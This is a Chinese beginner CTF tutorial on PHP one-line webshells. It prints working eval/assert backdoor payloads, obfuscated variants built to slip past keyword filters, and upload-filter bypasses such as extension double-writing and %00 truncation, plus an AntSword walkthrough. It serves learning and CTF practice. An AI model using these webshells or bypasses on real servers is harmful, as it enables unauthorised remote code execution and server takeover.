萌新之php一句話木馬
0x00參考文章
https://www.cnblogs.com/wangtanzhi/p/12243206.html
https://xz.aliyun.com/t/2435
https://blog.csdn.net/momo_sleet/article/details/82497520
0x01 什麼是一句話木馬
<?php @eval($_POST['hacker']); ?>
如上就是一句一句話木馬,eval函式可以使php將post進去的內容當做程式碼處理
如果網站在使用者上傳檔案時沒有進行型別的過濾,使使用者可以上傳php檔案,就可以通過上傳指令碼並從url訪問的方式來連線到木馬進而讓網站後臺執行你的惡意程式碼。
0x02 如何通過一句話木馬執行命令
其實,不用你寫
只需要將它<?php @eval($_POST['hacker']); ?>
傳到伺服器,然後用菜刀或者蟻劍連線你上傳的指令碼,菜刀/蟻劍就會自動向伺服器post相應的程式碼,讓你得到訪問伺服器的許可權,並可以下載和上傳檔案到伺服器
0x03漏洞條件
檔案可上傳
知道檔案上傳的路徑
上傳檔案可以被訪問
上傳檔案可以被執行
或者可以直接把程式碼寫入伺服器的php檔案中
0x04一些簡單繞過
1.前端可能通過javascript函式設定允許上傳的檔案型別
如碰到這種驗證,你不需要懂他的程式碼邏輯,你只要知道,他是檢測你檔案上傳的型別的,並且是js
只要js就可以在前端把它無效化
這裡可以看到js函式的作用位置,直接把它呼叫函式的地方刪掉,自然不會驗證了
修改後為:
2.後端php檢測檔案字尾和content-type或檔案頭
上傳php檔案,然後bp抓包,可以將字尾改成.jpg,content-type改成別的,新增檔案頭
關於檔案頭建議自己去看,這裡推薦一篇部落格
https://blog.csdn.net/qq_40574571/article/details/80150157
一個修改的例子
注意上圖中加的圖片頭為GIF89A,對應的檔案字尾應為.gif,圖中.jpg對應的應該是別的頭,這裡只是為了舉個例子,不要深究
貼幾個一般題目中過濾用到的程式碼
檢測content-type
檢測字尾
一般繞過字尾檢測為方法很多,如果大小寫不敏感的檢測程式碼可以通過大小寫繞過,如果是直接去除字尾的話,可以通過雙寫繞過(如.pphphp,用操作字串的方法刪除中間的php留下的還是.php)
有時也可以用**%00截斷**繞過字尾檢測
關於00截斷:
條件 php版本要小於5.3.4
在url中%00表示ascll碼中的0 ,而ascii中0作為特殊字元保留,表示字串結束,所以當url中出現%00時就會認為讀取已結束,如果filename是以get形式傳遞,例如
在get請求如 https:/xxxxxx/upfiles/?filename=test.php%00.txt
有些函式檢測字尾時只會檢測到.txt把它當做txt檔案,但當url解析時%00會被當做結束字元,url會預設以為後面沒有其他東西了,所以實際傳入時把它當做test.php傳入伺服器
而在post請求時也可以用類似的方法,但比較麻煩,可以通過bp抓包後修改檔案內容的十六進位制資料完成00截斷,具體如圖
此處a約等於上面的.txt,先在上傳時把要截斷的地方用空格佔位,空格對應的十六進位制資料為20,再bp抓包,找到那個20的位置改為00即可引發00截斷 (bp在這裡看十六進位制資料)
關於00截斷涉及的漏洞還有很多,建議去自行了解
3.直接對檔案內容進行檢測
–1.過濾<?php
先嚐試大小寫能否繞過
不行的話,有些環境可以通過
<scrpit language="php">xxxxxxxx</script>
的方式繞過(但我本地環境測試時並不能解析,應該和語言版本之類的有關,不過做題遇到的話肯定都是有相應漏洞的)
–2.過濾eval函式
一般有幾種方法,但思路都差不多
<?php $x=base64_decode("YXNzZXJ0");$x($_POST['si1ence']);?> //base64編碼eval,php5.x可用
<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?> //7.php,通過chr等操作字元的函式編碼,其實跟上面差不多,沒測試過,從別人部落格拿來的,瞭解一下
<?php@preg_replace("/abcde/e", $_POST['a'], "abcdefg");?>//preg_replace的pattern後如果有e引數,會把第二個引數當做程式碼執行即$_POST['a']
也可用assert函式,用法和eval一樣,不過一般要過濾的話都會過濾吧
0x05製作簡單的圖片馬
其實製作圖片馬用處不大,一般需要驗證圖片頭的題直接在bp中改一下檔案內容就行了(參見上面),這個只是覺得有點好玩,說一下而已
0x07簡單例題
[攻防世界]Webshell
進入題目之後顯示
開啟中國蟻劍
右鍵空白–新增資料–寫入url–密碼這裡他在網頁上已經給出了,是shell
新增後雙擊,就可以看到伺服器的檔案列表了
這道題比較簡單,題目已經幫你寫好了指令碼並傳上去了,一般的題需要找到檔案上傳的位置,自己將指令碼上傳上去,找到上傳到的位置然後連線
0x08php.ini和.htaccess檔案
0x06 一個彩蛋
一個複雜例題 去看下
buuoj–[GKCTF2020]CheckIn
相關文章
- PHP一句話木馬深度詳細剖析PHP
- PHP,ASP一句話網馬客戶端PHP客戶端
- 網站安全問題針對一句話木馬函式的普析與防範網站函式
- linux下查詢php木馬LinuxPHP
- WindowsApache下防PHP木馬設定WindowsApachePHP
- choop.php一句話指令碼OOPPHP指令碼
- linux下和windows下如何防止php木馬LinuxWindowsPHP
- BetaBot 木馬分析
- 木馬逆向分析
- 木馬學習
- 木牛流馬
- 一句話木馬免殺(截止2020年8月16日通殺D盾、安全狗,微步,webshellKiller)Webshell
- 設定PHP程式訪問限制,徹底杜絕PHP木馬入侵PHP
- 硬體木馬(一)
- 快速定位挖礦木馬 !
- php一句話獲取獲取檔案目錄的方法PHP
- WPS騷操作之嵌入ole物件繫結木馬物件
- 大話PHP之效能PHP
- 一句話讓你成為更好的PHP程式設計師PHP程式設計師
- 駭客知識之你真的知道特洛伊木馬嗎(轉)
- Free Star木馬分析與追溯
- 黑狐”木馬分析報告
- 利用msfvenom生成木馬檔案
- 盜號木馬分析報告
- iexpress全力打造“免檢”木馬Express
- 遭遇 木馬 srpcss.dllRPCCSS
- 木馬問題解決方案
- 貝殼木馬專殺工具怎麼用 貝殼木馬專殺工具使用教程
- 一句話入門SEO
- Linux一句話收藏Linux
- 微信小程式swiper旋轉木馬微信小程式
- [病毒木馬] 檔案自刪除
- 記錄一次木馬排查
- 利用DNS隧道通訊木馬分析DNS
- 巧設密碼氣死木馬密碼
- 一句話解釋數字簽名。一句話解釋數字證書
- 區別木馬與病毒,以及識別與防治木馬的方法
- 一句話理解設計模式設計模式